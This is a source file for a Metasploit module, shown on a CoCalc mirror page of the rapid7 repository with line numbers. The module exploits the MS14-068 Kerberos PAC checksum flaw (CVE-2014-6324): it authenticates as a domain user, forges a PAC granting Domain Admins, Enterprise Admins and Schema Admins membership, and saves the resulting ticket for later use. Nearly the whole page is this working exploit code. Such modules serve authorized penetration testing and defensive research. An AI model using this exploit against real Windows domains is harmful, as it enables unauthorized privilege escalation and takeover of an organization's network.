Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
34139 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::Kerberos::Client
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'MS14-068 Microsoft Kerberos Checksum Validation Vulnerability',
15
'Description' => %q{
16
This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem
17
exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS
18
request, where a domain user may forge a PAC with arbitrary privileges, including
19
Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to
20
a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz
21
help. It has been tested successfully on Windows 2008.
22
},
23
'Author' => [
24
'Tom Maddock', # Vulnerability discovery
25
'Sylvain Monne', # pykek framework and exploit
26
'juan vazquez' # Metasploit module
27
],
28
'References' => [
29
['CVE', '2014-6324'],
30
['MSB', 'MS14-068'],
31
['OSVDB', '114751'],
32
['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],
33
['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],
34
['URL', 'http://web.archive.org/web/20180107213459/https://github.com/bidord/pykek'],
35
['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit'],
36
['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
37
['ATT&CK', Mitre::Attack::Technique::T1212_EXPLOITATION_FOR_CREDENTIAL_ACCESS],
38
['ATT&CK', Mitre::Attack::Technique::T1558_001_GOLDEN_TICKET]
39
],
40
'License' => MSF_LICENSE,
41
'DisclosureDate' => '2014-11-18',
42
'Notes' => {
43
'AKA' => ['ESKIMOROLL'],
44
'Stability' => [CRASH_SAFE],
45
'SideEffects' => [IOC_IN_LOGS],
46
'Reliability' => []
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('USERNAME', [ true, 'The Domain User' ], aliases: ['USER']),
54
OptString.new('PASSWORD', [ true, 'The Domain User password' ]),
55
OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),
56
OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])
57
]
58
)
59
end
60
61
def run
62
print_status('Validating options...')
63
64
unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/
65
print_error('Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000')
66
return
67
end
68
69
domain = datastore['DOMAIN'].upcase
70
71
print_status("Using domain #{domain}...")
72
73
user_sid_arr = datastore['USER_SID'].split('-')
74
domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')
75
user_rid = user_sid_arr[user_sid_arr.length - 1].to_i
76
77
checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD5
78
etype = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
79
encryptor = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(etype)
80
password_digest = encryptor.string_to_key(datastore['PASSWORD'])
81
82
pre_auth = []
83
pre_auth << build_as_pa_time_stamp(key: password_digest, etype: etype)
84
pre_auth << build_pa_pac_request
85
86
print_status("#{peer} - Sending AS-REQ...")
87
res = send_request_as(
88
client_name: datastore['USERNAME'].to_s,
89
server_name: "krbtgt/#{domain}",
90
realm: domain.to_s,
91
key: password_digest,
92
pa_data: pre_auth,
93
etype: [etype]
94
)
95
96
unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
97
print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
98
print_error("#{peer} - Invalid AS-REP, aborting...")
99
return
100
end
101
102
print_status("#{peer} - Parsing AS-REP...")
103
104
session_key = extract_session_key(res, password_digest)
105
logon_time = extract_logon_time(res, password_digest)
106
ticket = res.ticket
107
108
pre_auth = []
109
pre_auth << build_pa_pac_request
110
111
groups = [
112
Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
113
Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
114
Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
115
Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
116
Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS
117
]
118
119
pac = build_pac(
120
client_name: datastore['USER'],
121
group_ids: groups,
122
domain_id: domain_sid,
123
user_id: user_rid,
124
realm: domain,
125
logon_time: logon_time,
126
checksum_type: checksum_type
127
)
128
129
auth_data = build_pac_authorization_data(pac: pac)
130
sub_key = build_subkey(subkey_type: etype)
131
132
print_status("#{peer} - Sending TGS-REQ...")
133
134
res = send_request_tgs(
135
client_name: datastore['USER'],
136
server_name: "krbtgt/#{domain}",
137
realm: domain,
138
session_key: session_key,
139
ticket: ticket,
140
auth_data: auth_data,
141
pa_data: pre_auth,
142
subkey: sub_key
143
)
144
145
unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP
146
print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR
147
print_error("#{peer} - Invalid TGS-REP, aborting...")
148
return
149
end
150
151
print_good("#{peer} - Valid TGS-Response, extracting credentials...")
152
153
cache = extract_kerb_creds(res, sub_key.value)
154
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(cache, framework_module: self, host: rhost)
155
end
156
157
def warn_error(res)
158
res.error_code.to_s
159
end
160
end
161
162